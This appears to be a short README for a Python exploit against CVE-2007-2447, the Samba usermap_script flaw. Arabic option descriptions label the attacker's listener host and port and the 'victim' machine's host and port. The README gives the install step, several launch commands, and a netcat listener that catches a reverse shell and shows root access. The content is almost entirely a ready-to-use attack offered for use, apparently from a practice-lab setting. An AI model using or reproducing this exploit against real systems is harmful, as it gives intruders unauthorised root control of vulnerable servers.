CVE-2007-2447-RCE

 --lhost LHOST  مضيفك  (عنوان IP الذي سيتم استقبال الشل عليه)
 --lport LPORT  منفذك  (المنفذ الذي سيتم استقبال الشل عليه)
 --rhost RHOST  المضيف البعيد  (عنوان IP للجهاز الضحية)
 --rport RPORT  المنفذ البعيد  (منفذ الجهاز الضحية)

pip3 install pysmb

python3 samba_usermap.py --lhost 10.10.14.12 --lport 443 --rhost 10.10.10.3 --rport 139

python3 samba_usermap.py --lh 10.10.14.12 --lp 443 --rh 10.10.10.3 --rp 139

python3 samba_usermap.py --lhost 10.10.14.12 --lport 443 --rhost 10.10.10.3 --rport 139 

❯ nc -nlvp 443
  listening on [any] 443 ...
  connect to [10.10.14.12] from (UNKNOWN) [10.10.10.3] 57498
  whoami
  root